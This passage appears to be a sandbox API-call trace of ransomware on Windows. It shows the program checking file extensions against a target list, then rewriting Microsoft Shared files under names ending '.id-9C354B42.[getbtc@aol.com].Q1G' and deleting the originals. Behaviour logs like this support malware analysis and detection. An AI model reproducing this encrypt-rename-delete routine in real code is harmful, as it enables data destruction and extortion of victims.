[0055.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.441] lstrlenW (lpString=".zip") returned 4 [0055.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.441] lstrlenW (lpString=".rar") returned 4 [0055.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".bz2") returned 4 [0055.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.442] lstrlenW (lpString=".7z") returned 3 [0055.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString=".dbf") returned 4 [0055.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString=".1cd") returned 4 [0055.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString=".jpg") returned 4 [0055.442] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString=".doc") returned 4 [0055.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".docx") returned 5 [0055.442] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.442] lstrlenW (lpString=".pdf") returned 4 [0055.442] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".xls") returned 4 [0055.442] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".xlsx") returned 5 [0055.442] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.442] lstrlenW (lpString=".ppt") returned 4 [0055.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.442] lstrlenW (lpString=".zip") returned 4 [0055.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".rar") returned 4 [0055.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.442] lstrlenW (lpString=".bz2") returned 4 [0055.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.443] lstrlenW (lpString=".7z") returned 3 [0055.443] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.443] lstrlenW (lpString=".dbf") returned 4 [0055.443] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.443] lstrlenW (lpString=".1cd") returned 4 [0055.443] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.443] lstrlenW (lpString=".jpg") returned 4 [0055.443] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.443] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0055.443] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0055.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.443] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6811) returned 1 [0055.443] CloseHandle (hObject=0x244) returned 1 [0055.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0055.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.444] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.444] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.444] GetLastError () returned 0x0 [0055.444] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0055.446] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0055.446] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.446] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.447] SetEndOfFile (hFile=0x240) returned 1 [0055.447] CloseHandle (hObject=0x240) returned 1 [0055.447] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.447] SetEndOfFile (hFile=0x244) returned 1 [0055.448] CloseHandle (hObject=0x244) returned 1 [0055.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.448] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0055.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.448] lstrlenW (lpString=".doc") returned 4 [0055.448] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0055.448] lstrlenW (lpString=".docx") returned 5 [0055.448] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0055.448] lstrlenW (lpString=".pdf") returned 4 [0055.448] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0055.448] lstrlenW (lpString=".xls") returned 4 [0055.448] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0055.448] lstrlenW (lpString=".xlsx") returned 5 [0055.448] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0055.448] lstrlenW (lpString=".ppt") returned 4 [0055.448] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0055.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".zip") returned 4 [0055.449] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString=".rar") returned 4 [0055.449] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString=".bz2") returned 4 [0055.449] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0055.449] lstrlenW (lpString=".7z") returned 3 [0055.449] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".dbf") returned 4 [0055.449] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".1cd") returned 4 [0055.449] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".jpg") returned 4 [0055.449] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".doc") returned 4 [0055.449] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString=".docx") returned 5 [0055.449] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0055.449] lstrlenW (lpString=".pdf") returned 4 [0055.449] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString=".xls") returned 4 [0055.449] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString=".xlsx") returned 5 [0055.449] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0055.449] lstrlenW (lpString=".ppt") returned 4 [0055.449] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0055.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.449] lstrlenW (lpString=".zip") returned 4 [0055.449] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0055.450] lstrlenW (lpString=".rar") returned 4 [0055.450] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0055.450] lstrlenW (lpString=".bz2") returned 4 [0055.450] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0055.450] lstrlenW (lpString=".7z") returned 3 [0055.450] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.450] lstrlenW (lpString=".dbf") returned 4 [0055.450] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.450] lstrlenW (lpString=".1cd") returned 4 [0055.450] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0055.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0055.450] lstrlenW (lpString=".jpg") returned 4 [0055.450] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0055.450] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0055.450] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0055.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.453] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=323936) returned 1 [0055.453] CloseHandle (hObject=0x244) returned 1 [0055.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0055.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.453] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.454] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.454] GetLastError () returned 0x0 [0055.454] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0055.460] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0055.466] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.466] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.466] SetEndOfFile (hFile=0x240) returned 1 [0055.466] CloseHandle (hObject=0x240) returned 1 [0055.466] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.466] SetEndOfFile (hFile=0x244) returned 1 [0055.469] CloseHandle (hObject=0x244) returned 1 [0055.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.470] lstrlenW (lpString=".doc") returned 4 [0055.470] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.470] lstrlenW (lpString=".docx") returned 5 [0055.470] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.470] lstrlenW (lpString=".pdf") returned 4 [0055.470] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.470] lstrlenW (lpString=".xls") returned 4 [0055.470] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.470] lstrlenW (lpString=".xlsx") returned 5 [0055.470] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.470] lstrlenW (lpString=".ppt") returned 4 [0055.470] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.470] lstrlenW (lpString=".zip") returned 4 [0055.470] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.470] lstrlenW (lpString=".rar") returned 4 [0055.470] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.470] lstrlenW (lpString=".bz2") returned 4 [0055.470] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.470] lstrlenW (lpString=".7z") returned 3 [0055.470] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.470] lstrlenW (lpString=".dbf") returned 4 [0055.471] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString=".1cd") returned 4 [0055.471] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString=".jpg") returned 4 [0055.471] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString=".doc") returned 4 [0055.471] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.471] lstrlenW (lpString=".docx") returned 5 [0055.471] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.471] lstrlenW (lpString=".pdf") returned 4 [0055.471] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString=".xls") returned 4 [0055.471] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString=".xlsx") returned 5 [0055.471] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.471] lstrlenW (lpString=".ppt") returned 4 [0055.471] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString=".zip") returned 4 [0055.471] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString=".rar") returned 4 [0055.471] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.471] lstrlenW (lpString=".bz2") returned 4 [0055.471] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.471] lstrlenW (lpString=".7z") returned 3 [0055.471] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.471] lstrlenW (lpString=".dbf") returned 4 [0055.471] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.472] lstrlenW (lpString=".1cd") returned 4 [0055.472] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0055.472] lstrlenW (lpString=".jpg") returned 4 [0055.472] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.472] lstrcmpiW (lpString1=".FNT", lpString2=".Q1G") returned -1 [0055.472] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0055.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.289] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=606062) returned 1 [0057.289] CloseHandle (hObject=0x1fc) returned 1 [0057.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0057.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.378] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.378] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.636] GetLastError () returned 0x0 [0057.636] ReadFile (in: hFile=0x22c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0057.652] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0057.664] ReadFile (in: hFile=0x22c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.664] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.664] SetEndOfFile (hFile=0x1ec) returned 1 [0057.664] CloseHandle (hObject=0x1ec) returned 1 [0057.664] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.665] SetEndOfFile (hFile=0x22c) returned 1 [0057.670] CloseHandle (hObject=0x22c) returned 1 [0057.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.670] lstrlenW (lpString=".doc") returned 4 [0057.670] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0057.670] lstrlenW (lpString=".docx") returned 5 [0057.670] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0057.670] lstrlenW (lpString=".pdf") returned 4 [0057.670] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0057.670] lstrlenW (lpString=".xls") returned 4 [0057.670] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0057.670] lstrlenW (lpString=".xlsx") returned 5 [0057.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0057.670] lstrlenW (lpString=".ppt") returned 4 [0057.670] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.670] lstrlenW (lpString=".zip") returned 4 [0057.670] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString=".rar") returned 4 [0057.671] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString=".bz2") returned 4 [0057.671] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0057.671] lstrlenW (lpString=".7z") returned 3 [0057.671] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0057.671] lstrlenW (lpString="C:\\Program 